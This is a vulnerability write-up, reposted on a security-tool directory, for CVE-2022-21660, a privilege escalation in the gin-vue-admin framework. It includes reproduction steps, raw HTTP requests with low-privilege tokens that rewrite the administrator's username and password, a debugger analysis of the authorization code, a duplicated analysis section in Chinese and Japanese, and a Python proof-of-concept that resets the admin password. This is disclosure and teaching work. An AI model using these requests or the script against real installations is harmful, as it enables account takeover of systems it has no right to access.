Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Gin-Vue-admin-poc-CVE-2022-21660 — CVE-2022-21660 | Kitploit
ツール/GitHubGitHub/uzju/gin-vue-admin-poc-cve-2022-21660
認証と認可脆弱性分析コード分析ウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubuzju/gin-vue-admin-poc-cve-2022-21660

Gin-Vue-admin-poc-CVE-2022-21660

CVE-2022-21660

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
28124年前Kitploit レビュー済み

Gin-Vue-admin垂直権限昇格の脆弱性とコード分析 - CVE-2022-21660

一、はじめに

各位の皆様、このプロジェクトにスターを一つお願いいたします。```http https://github.com/flipped-aurora/gin-vue-admin/

root@kitploit:~
![image-20211230151736779](https://assets.kitploit.com/production/public/readmes/21446/71b9c7be5f13561509daa3fc736b2aea1c17b75e10b235f8c2d5f0de659c3c66.png)

文章を書き終えた後、CVEの申請には多少の手間がかかりましたが、何とか取得できました。GitHubのスタッフの対応は迅速でした。

> ps CVE申請前に、既にCNVDに提出済み

![image-20220107161655217](https://assets.kitploit.com/production/public/readmes/21446/51ecd3b8efcedb1fecf7b0d8264427765671259fae56a2f5321a4b58767dc74f/c4bc4bc93c1873f0c50d4ca2e7d7c96df00de3fe51f16d3c2f521893ece15b82-display-v1.webp)

### 二、環境構築

公式チュートリアルに従って```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git

その後、serverディレクトリに入ります```bash go generate

root@kitploit:~
![image-20211230134341075](https://assets.kitploit.com/production/public/readmes/21446/d8f231abdbc0cea6288cbc17eefce6b29afcbfed204604de65a3b8c52ab6ad6e/ec800af00e34f058b162aaad63f41568403c7d3faa454995b819d195dc2e672f-display-v1.webp)```bash
go build -o server main.go 

その後直接serverを実行します

image-20211230134411233

その後はWEBです。webディレクトリに移動し、入力```bash cnpm install || npm install

root@kitploit:~
その後、待つだけでOKです

![image-20211230134632959](https://assets.kitploit.com/production/public/readmes/21446/ab6d47376ec0a1654914fab89718b1a9bf93e407e1ab96a3946c2f60a0b12ead/cd7c364c3a31d399033a3d8738976a6e2e3779f0269ee879617df328149e433c-display-v1.webp)



その後、インストールが完了すると自動的にWEBページが開きます

![image-20211230135126848](https://assets.kitploit.com/production/public/readmes/21446/e9f559f44a155a8aa121c39f3b218cac78a01fa26b481cf50e8020ea42529668.png)

![image-20211230135135212](https://assets.kitploit.com/production/public/readmes/21446/fdddc36fb55b29816c3e61125054370b2c799450c04d78a02fac4d33f569948c.png)

その後、データベース情報を初期化設定します

![image-20211230135407388](https://assets.kitploit.com/production/public/readmes/21446/13b356986b6faf82ee4208810f4dbf77ba245dc443e13c054f0cafb665c31f8c.png)

設定が完了したら、初期化をクリックしてログインします

![image-20211230135437587](https://assets.kitploit.com/production/public/readmes/21446/9864349c21be1c8fa66de709f2e497834cfdf2f3233e286336fa02cdb5834466.png)

### 三、脆弱性の再現

### SetUserInfoに垂直権限昇格が存在

##### 1、SetUserInfoインターフェースによるユーザー個人情報の権限昇格設定

ユーザー管理ページに直接移動し、低権限のユーザーロールを新規作成します

![image-20211230143853535](https://assets.kitploit.com/production/public/readmes/21446/acb51bc8ffff26bce3b7cf3956f9b38064871da099e64b3cdb3ab9c531d48da6.png)

上記では管理者権限が与えられていないことがわかります。次に新しいアカウントを作成し、このロールグループに割り当てます

![image-20211230144026344](https://assets.kitploit.com/production/public/readmes/21446/c1e54b0502fe8b4dc83799856b01f4da02cc0f48d0e46fea1b577e050f99f3d2.png)

![image-20211230144005936](https://assets.kitploit.com/production/public/readmes/21446/c407678697464a33e6a879a627eea870a563a5ab0fd4e07b8ab357af4c0f75a9.png)

脆弱性が発生する場所は https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go の273行目です

![image-20211230141604735](https://assets.kitploit.com/production/public/readmes/21446/215bb4a987007cdb0a75e36ff67a217fd864a0aa9c53489f08d004f98ae6ac13.png)```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

ここでは入力されたIDの検証が行われていません。IDはユーザーを表すもので、指定されたIDを直接渡すことで、該当ユーザーの個人情報を変更できます。

image-20211230141732113

まず管理者のX-tokenを使って、IDが1のユーザーの名前をtest1に変更してみます。その後、バックエンドで管理者のIDがtest1に変更されたことを確認できます。

image-20211230144216099

次に、先ほど新規作成したUzJu_HxSecTeamアカウントのTokenを置き換えて、管理者のユーザー名をtest2に変更します。

まずUzJu_HxSecTeamのアカウントで個人情報>パスワード変更に移動し、適当にパスワードを変更して、アカウントのTokenを取得します。

image-20211230144321622

このTokenは低権限のロールのものです。通常、低権限のユーザーは管理者の情報を一切変更できません。```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

root@kitploit:~
Tokenを置き換えて、以下のようなJSONデータを構築します。```json
{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

Token を setUserinfo インターフェースに置き換えます。```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}

root@kitploit:~
その後、設定成功のプロンプトが表示されます

![image-20211230144654682](https://assets.kitploit.com/production/public/readmes/21446/78fb75b188079d7168b0de84800ee86520c4487ba9005a80a3b40e1bce1e82c9.png)

ここで管理アカウントに切り替え、管理者が test2 に変更されているか確認します

![image-20211230144727266](https://assets.kitploit.com/production/public/readmes/21446/bfbb0ee0323bae425bcf381e3722f362b794f583cc2d84a12bb5334bfc91a7a3.png)

管理者ユーザーが正常に変更されていることが確認できます

##### 2、SetUserInfo インターフェースの垂直権限昇格により管理者パスワードを無条件に変更

デバッグ中に、権限昇格によって個人情報を設定するインターフェース setUserInfo では、id, username, nickname, headimg だけでなく、password などのパラメータも渡せることを発見しました

![image-20211230222713086](https://assets.kitploit.com/production/public/readmes/21446/e1019ad6b5613329887ed40e9e2f5f1eddaa1fba49cff851dd89f997db74670e.png)

例えば、リクエストを構築して、ID が 1 のユーザー名を admin に、ニックネームを 超级用户管理员 に設定します

![image-20211230222755083](https://assets.kitploit.com/production/public/readmes/21446/c379c4f7a1039625d62c90a0ace6a475cad615d8ff27bf7c508af0a4e04df48c.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

この時点で管理者のパスワードは qwe@123 に変更されています。ログインを試みます。

image-20211230222853109

その後、ログイン成功

image-20211230222906607

ChangPassword 権限昇格によるユーザーパスワードの変更

PS: ここでは前提条件があります。変更したいユーザーのパスワードを知っている必要があります。

まず、デフォルトの管理者パスワードが 123456 であることが分かっています。このとき、JSONデータを構築し、そのJSONデータ内の username パラメータを、権限昇格で変更したいユーザー名に書き換えるだけで済みます。

まず、低権限のアカウントでログインし、パスワードを1回変更します。

image-20211230145433929

changePassword のリクエストがキャプチャされるので、このリクエストをRepeaterに送ります。

image-20211230145506647

その後、username パラメータを admin に変更するだけです。

image-20211230145615220

変更が成功したと表示されるので、新しいパスワードを使って admin にログインします。

image-20211230145704428

その後、ログイン成功

image-20211230145725332

脆弱性が存在する場所は https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go の139行目です。```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }

root@kitploit:~
> ここに議論があります。他人のアカウントとパスワードを知っているなら、直接そのアカウントにログインすれば良いではないか?確かにその通りですが、ここでのプログラムのロジックフローは、すでに認証が完了している状態です。通常、現在のユーザーは自分のパスワードのみ変更できるはずですが、ここではIDを変更することで他人のパスワードを変更できます。別の視点から見ると、これもブルートフォース攻撃が可能ということです。なぜなら、ログインページにはキャプチャ認証があるからです。

### 四、脆弱性の原理分析

> ps: 以下の内容はすべて、Goを全く学んだことがなく、開発経験もなく、Pythonしか使えないスクリプトキディの理解によるものです。

まず、通常のビジネスロジックから見て、なぜここで権限昇格が発生するのか。原理は比較的簡単です。主な理由は、新しいロールの権限を作成する際に、いくつかの必須パラメータがあるからです。これらのパラメータを選択すると、ユーザーに権限昇格の機会が生まれます(ただし、選択しないわけにはいきません。デフォルトの必須パラメータだからです)。結局のところ、コード自体に論理的な問題があるのです。

![image-20211230162340184](https://assets.kitploit.com/production/public/readmes/21446/20a1d4c86c7742b02ade2545ffc1d9daf09da8e36196c53f22e1c4c75cfcdc61.png)

まず、ロールを作成した後、ロールの権限を確認します。

![image-20211230162510272](https://assets.kitploit.com/production/public/readmes/21446/f2200104b5e87458273e49a127381deb2caf6d8c18f47cebfec3f51c98ce7392.png)

デフォルトで作成されたユーザー権限は、ロールメニューにおいて、ダッシュボードへのアクセス権のみがあります。しかし、ロールのAPI権限を確認すると、以下のようになります。

![image-20211230162602998](https://assets.kitploit.com/production/public/readmes/21446/a0ae26ec2f658f8410fabc66becd2404fa38bbb85dca5c907c56bd6cea19a82d.png)

ここにいくつかの必須権限があります。

+ ユーザー登録
+ ユーザー情報設定
+ 自身の情報取得
+ パスワード変更
+ ユーザーロール変更

これが今回の脆弱性の根源です。まず「ユーザー情報設定」について、チェックを外してみます。

![image-20211230162752207](https://assets.kitploit.com/production/public/readmes/21446/e5c25385cc35a0ca2235648dae3cc8d23b15ca179ce73a3c7f477f635526abb6.png)

次に、低権限ロールグループのアカウントのTokenをBurpに入れて試します。

![image-20211230163029027](https://assets.kitploit.com/production/public/readmes/21446/c082b88f880c845caa086ac66400d9969967c2c320572d1245b8c1987f264d6d.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}

可以很清楚的看到,目前我们已经没有权限来设置这些用户信息了,而且在Go的Debug页面我们也很容易发现,代码逻辑,比如我们现在是没有权限进行设置用户信息的,但是在代码中理论来说,我访问了这个接口,我Debug的断点应该是可以拦截的,但是如下图,我下断点之后,程序居然没有停止

image-20211230163258163

从这里就能判断,在此操作之前,应该是有一个鉴权操作(常见的应该是rbac吧)那么我们现在给低权限角色组设置用户的权限,我们再进行重放看看

image-20211230163401844

image-20211230163437975

我们可以看到,程序成功停止在了这里,那么我想(go小白)应该可以通过Debug的方式,来找到这里的鉴权:)

首先Mac下command键鼠标左键来找哪里调用了这个函数

image-20211230172215924

然后可以看到这里有一个初始化用户路由的一个函数InitUserRouter

image-20211230172303694

那么继续老办法,Command+鼠标左键来判断哪里调用了InitUserRoute

image-20211230172756447

这里注意,有一个JWTAuth()还有一个middleware.CasbinHandler()

首先我们先来看middleware.JWTAuth(),还是老方法Command+鼠标左键

image-20211230173029571

然后来到一个jwt.go,这里的逻辑我们可以看一下(当然也感谢作者写了一些注释)

image-20211230173337186

go中token:=应该是相当于定义一个变量来接收请求中的header中的x-token,首先就是判断token是不是为空,如果为空的话直接返回用户未登录或非法访问

image-20211230173515740

随后就是判断用户的token是否在黑名单里面,这里应该是通过缓存或者用户退出的时候来判断,这个token是不是已经失效了吧,如果失效了就会返回告诉用户异地登录或令牌失效了

image-20211230173927005

这里首先传给ParseToken这个函数来解析Token,可以跟过去看一下

image-20211230174153376

不懂jwt.ParseWithClaims是啥。。。传统艺能,google.com

image-20211230174335903

https://www.cnblogs.com/taoshihan/p/15239208.html

这里是用来JWT加解密的,然后返回一个SigningKey,然后继续往下走

感谢作者的指点:此处将传入的jwt token串进行解析,获得jwt.Token结构体,然后从结构体解析出Claims获取之前我们生成token时挂载在上面的用户信息。

image-20211230180325474

通过Google知道了ValidationErrorMalformed用来判断是否是错误的token,然后再通过ValidationErrorExpired来判断是否已过期,然后再通过ValidationErrorNotValidYet判断token是否激活,然后就是返回了。虽然下面还有一段代码

image-20211230181012200

随后判断token是否过期,如果没有过期,则走到了reload,随后我们来到middleware.CasbinHandler()

image-20211230181206422

首先进入到utils.GetClaims并且传入一个参数

image-20211230181333671

这里函数用来获取x-token随后解析该token来判断是否过期等

image-20211230185043326

随后判断用户的角色,这里的1234,也就是我们web设置的角色组ID

image-20211230185135662

image-20211230185217506

随后进入casbinService.Casbin(),传统艺能,直接百度

image-20211230185413430

跟之前猜想的差不多,rbac权限控制,这里是连接数据库,然后这里F7单步步入看了一下,劝退了,看不懂

image-20211230191210935

看注释可以判断,这里用来判断权限

机翻: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).

强制决定“subject”是否可以通过操作“action”访问“object”,输入参数通常是:(sub, obj, act)。

image-20211230191631807

随后判断是否在开发环境,然后success等于false,这里|| 或者的意思,要么成功,要么提示权限不足

我们来看看有权限后,越权的setuserinfo接口是怎么走的,首先我们在拦截器这个地方下一个断点

image-20211230214215348

Tips: 通过百度发现这里用的是golang的casbin访问控制框架

https://blog.csdn.net/qq_42015552/article/details/104013264

然后在setuserinfo这里也下一个断点

image-20211230214247389

因为拦截器在程序逻辑中在setuserinfo前面,所以我们从拦截器开始调

burp发送请求之后,一直等待,此时我们单步调试看看

image-20211230214329911

此时我们的角色组为1234

image-20211230214503883

随后是连接数据库,再之后就是检查权限

image-20211230215514485

image-20211230215532447

这里返回了一个true,说明权限存在,随后就是判断是否为开发环境或者success等于true了,这里肯定会经过第一个if,

随后就来到了setuserinfo接口

image-20211230220206889

shouldBindJson 绑定了Json参数

image-20211230220707383

随后这里,应该是用来判断传入的Json参数是否正确

image-20211230221153338

下面直接直接将userid代入了进去

image-20220104134548099

这里的ID是我们前端传入的,可以任意修改,所以就导致了越权

image-20211230221415677

image-20211230221432290

随后代入到数据库之后,更新后返回

image-20211230221556509

随后则是更新成功

主要的鉴权操作都在cashbin.rbac.go这个文件中的CasbinHandler函数,中的casbinService.Casbin()和e.Enforce(sub, obj, act)

我对这里的越权理解是,如果给了设置用户信息的权限,那么默认这个用户在权限规则中就可以修改用户信息,然后在修改的时候,替换成别人的ID即可修改为别人的

到这里可以明白了,首先鉴权判断的是AuthorityId,来判断用户是否有权限操作某个接口

image-20220104131901466

但是在setuserinfo使用的ID却是用户的账号ID

image-20220104132137472

所以就导致了越权,因为这个ID可以前端传入的时候可以控制,并且也已经鉴权之后了,在与作者沟通之后,解释说修复也比较简单,只需要将user.id强制赋值为JWT所对应的权限ID即可,这样就不会造成越权了,因为前端怎么传入,最终在代码中还是有一行会将user.id的值修改为当前JWT所对应的id

但是在业务流程逻辑中,这些权限又是必须给的,因为不给的话,当前用户是没有办法修改自己的信息的

image-20220104135624752

五、POC编写


はっきりとわかるように、現在私たちにはこれらのユーザー情報を設定する権限がありません。また、GoのDebugページでも簡単に確認できますが、コードロジック上、例えば現在はユーザー情報を設定する権限がないとします。しかしコード上では理論的に、このインターフェースにアクセスした場合、Debugのブレークポイントで捉えられるはずです。ところが下図のように、ブレークポイントを設定してもプログラムが停止しませんでした。

image-20211230163258163

ここから判断できるのは、この操作の前に認証処理(一般的にはrbacでしょうか)が存在するはずだということです。そこで、今度は低権限ロールグループにユーザー設定の権限を与えて、再度リプレイしてみます。

image-20211230163401844

image-20211230163437975

プログラムが正常にそこで停止しました。ということは、(Go初心者ですが)Debugを使ってこの認証部分を見つけられるはずです:)

まずMacでCommandキーを押しながらマウス左クリックで、この関数がどこから呼ばれているかを探します。

image-20211230172215924

すると、ユーザールートを初期化する関数InitUserRouterがあるのがわかります。

image-20211230172303694

では、同じ方法でCommand+マウス左クリックでInitUserRouteがどこから呼ばれているかを調べます。

image-20211230172756447

ここで注意すべきは、JWTAuth()とmiddleware.CasbinHandler()があることです。

まずmiddleware.JWTAuth()を見てみましょう。いつもの方法でCommand+マウス左クリックです。

image-20211230173029571

するとjwt.goに移動します。このロジックを見てみます(もちろん作者がコメントを書いてくれていることに感謝します)。

image-20211230173337186

Goでtoken:=というのは、リクエストのヘッダーからx-tokenを受け取るための変数を定義しているようなものです。まずtokenが空かどうかを判定し、空であれば直接「ユーザー未ログインまたは不正アクセス」を返します。

image-20211230173515740

次に、ユーザーのtokenがブラックリストに含まれているかを判定します。これはキャッシュやユーザーのログアウト時に判定しているのでしょう。tokenが無効になっていれば、「別の場所でログインされたか、トークンが無効です」と返します。

image-20211230173927005

ここでまずParseToken関数に渡してTokenをパースします。中を見てみましょう。

image-20211230174153376

jwt.ParseWithClaimsが何かわからない…。伝統の技、google.com。

image-20211230174335903

https://www.cnblogs.com/taoshihan/p/15239208.html

これはJWTの暗号化・復号に使われていて、SigningKeyを返してから続けて進みます。

作者の指摘に感謝します。ここでは渡されたjwt token文字列をパースしてjwt.Token構造体を取得し、その構造体からClaimsをパースして、以前トークン生成時に載せたユーザー情報を取得します。

image-20211230180325474

Googleで調べたところ、ValidationErrorMalformedは不正なトークンの判定に使われ、ValidationErrorExpiredで有効期限切れを判定し、ValidationErrorNotValidYetでトークンがアクティブかどうかを判定し、その後returnしています。その下にもコードがありますが。

image-20211230181012200

その後、トークンが期限切れかどうかを判定し、期限切れでなければreloadに進みます。続いてmiddleware.CasbinHandler()に移動します。

image-20211230181206422

まずutils.GetClaimsに入り、引数を一つ渡します。

image-20211230181333671

この関数はx-tokenを取得し、そのtokenをパースして有効期限などを判定します。

image-20211230185043326

次にユーザーのロールを判定します。ここにある1234は、Webで設定したロールグループのIDです。

image-20211230185135662

image-20211230185217506

その後、casbinService.Casbin()に入ります。伝統の技、そのまま百度です。

image-20211230185413430

以前予想した通り、rbac権限制御です。ここでデータベースに接続しています。F7でステップインしてみましたが、複雑すぎて理解できませんでした。

image-20211230191210935

コメントから判断すると、ここで権限を判定しているようです。

機械翻訳: Enforce decides whether a "subject" can access a "object" with the operation "action", input parameters are usually: (sub, obj, act).

Enforceは、"subject"が操作"action"で"object"にアクセスできるかどうかを決定します。入力パラメーターは通常:(sub, obj, act)です。

image-20211230191631807

次に開発環境かどうかを判定し、successがfalseになります。ここで||は「または」の意味で、成功するか、権限不足のエラーを出すかのどちらかです。

権限がある場合の、権限昇格(setuserinfo)インターフェースの流れを見てみましょう。まずインターセプターのところにブレークポイントを設定します。

image-20211230214215348

Tips: 百度で調べたところ、ここではgolangのcasbinアクセス制御フレームワークが使われています。

https://blog.csdn.net/qq_42015552/article/details/104013264

次にsetuserinfoにもブレークポイントを設定します。

image-20211230214247389

インターセプターはプログラムのロジック上、setuserinfoより前にありますので、インターセプターからデバッグを始めます。

Burpでリクエストを送信した後、しばらく待ちます。ここでステップ実行で確認します。

image-20211230214329911

このとき、私たちのロールグループは1234です。

image-20211230214503883

その後、データベースに接続し、権限チェックを行います。

image-20211230215514485

image-20211230215532447

ここでtrueが返ってきました。権限が存在することを示しています。次に開発環境かどうか、あるいはsuccessがtrueかどうかを判定します。ここでは必ず最初のifを通ります。

その後、setuserinfoインターフェースに到達します。

image-20211230220206889

shouldBindJsonがJsonパラメーターをバインドしています。

image-20211230220707383

続いてここで、受け取ったJsonパラメーターが正しいかを判定しているようです。

image-20211230221153338

その下で直接useridが代入されています。

image-20220104134548099

ここでのIDはフロントエンドから渡されるもので、任意に変更できるため、権限昇格が発生します。

image-20211230221415677

image-20211230221432290

その後、データベースに代入され、更新されて返されます。

image-20211230221556509

そして更新成功です。

主要な認証処理はcashbin.rbac.goファイル内のCasbinHandler関数にあり、その中のcasbinService.Casbin()とe.Enforce(sub, obj, act)です。

私のこの権限昇格の理解は、もしユーザー情報設定の権限が与えられていれば、そのユーザーはデフォルトで権限ルール内でユーザー情報を変更できるということです。そして変更時に、他人のIDに置き換えることで他人の情報を変更できる、というものです。

ここで理解できました。まず認証ではAuthorityIdを判定して、ユーザーが特定のインターフェースを操作する権限があるかを判断します。

image-20220104131901466

しかし、setuserinfoで使用されるIDはユーザーのアカウントIDです。

image-20220104132137472

そのため権限昇格が発生します。このIDはフロントエンドから渡される際に制御可能であり、かつ認証も済んだ後だからです。作者と話し合ったところ、修正は比較的簡単で、user.idを強制的にJWTに対応する権限IDに割り当てれば良いとのことです。そうすれば権限昇格は発生しません。なぜならフロントエンドがどのように渡しても、コード内で最終的にuser.idの値を現在のJWTに対応するidに変更する行があるからです。

しかしビジネスフローのロジックでは、これらの権限は必ず与えなければなりません。与えなければ、現在のユーザーは自分の情報を変更できなくなってしまうからです。

image-20220104135624752

五、POC作成```python

#!/usr/bin/env python

-- coding: UTF-8 --

''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''

import requests import json import sys

class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"

root@kitploit:~
def checkVuln(self):
    '''
    因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
    在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
    The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
    In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
    '''
    payload_data = {
                        "id": 1,
                        "username": "admin",
                        "nickName": "超级管理员",
                        "Password": "qwe@123"
                    }
    # Change the administrator password to qwe@123, because the default administrator ID is 1
    headers = {
        "x-token": self.jwt_token
    }
    result = requests.put(url=self.url + self.setUserInfo,
                          headers=headers,
                          data=json.dumps(payload_data)
                          )
    if json.loads(result.content)['code'] == 7:
        print("[-]Modify the failure")
    elif json.loads(result.content)['code'] == 0:
        print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

def check_interface_ChangePassword(self):
    '''
    wait
    '''
    pass

if name == 'main': try: Banner_2 = '''

root@kitploit:~
     /$$   /$$              /$$$$$          
    | $$  | $$             |__  $$          
    | $$  | $$ /$$$$$$$$      | $$ /$$   /$$
    | $$  | $$|____ /$$/      | $$| $$  | $$
    | $$  | $$   /$$$$/  /$$  | $$| $$  | $$
    | $$  | $$  /$$__/  | $$  | $$| $$  | $$
    |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/
     \______/ |________/ \______/  \______/                   
         Autor: UzJu   Email: [email protected]  GitHub: github.com/uzju  
    '''
    print(Banner_2)
    url = sys.argv[1]
    jwt_token = sys.argv[2]
    main = GinVueAdminPoc(url, jwt_token)
    main.checkVuln()
except:
    print("[-]please input url and token")
root@kitploit:~
为什么`check_interface_ChangePassword`メソッドを書かなかったかというと、これは一種のブルートフォース攻撃インターフェースとみなされるからです。任意のユーザーのパスワードを変更する前に、変更対象のアカウントのパスワードを知らなければならず、これはブルートフォース攻撃に相当します。そのため、ここでは実装しませんでした。そして`checkvuln`メソッドについて、`payload_data`のJSONデータ内の`id`は実は任意に変更可能で、forループで走査することもできます。実際の環境では管理者のIDが1とは限らず、悪意を持って改ざんされた場合、影響を与える可能性もあるからです。

![image-20211231143107127](https://assets.kitploit.com/production/public/readmes/21446/3b2780b6dee596c6129292183ad4fcacab4167c400c5827adb7925a6185e8edc.png)

### 六、CVE申請

> CNVDについては言うまでもありませんが、すでに提出済みです。ここではCVEを申請します。
>
> GitHub経由の代行申請番号は非常に早く、通常最大3日以内、今回は当日提出した翌日の早朝にCVEの仮割り当て番号を受け取りました。
>
> 以下の操作は作者に連絡して実行してもらう必要があります。そうしないと「New Draft security advisory」ボタンが表示されません。

![image-20220107164730550](https://assets.kitploit.com/production/public/readmes/21446/133726a3f2309aed6a517e646e4f4b921a3ca2ceeeaa147dfe9a0a8515ef9207.png)

![image-20220107165445797](https://assets.kitploit.com/production/public/readmes/21446/f35ae5f108b77a841a7b3961c94e7f89535885505aadcfdd3011b671a2cf5d1f.png)

![image-20220107165519396](https://assets.kitploit.com/production/public/readmes/21446/4a15d060be13653a267fe20a7c7a119226cab32e5b04852375280ef1b77b5b60.png)

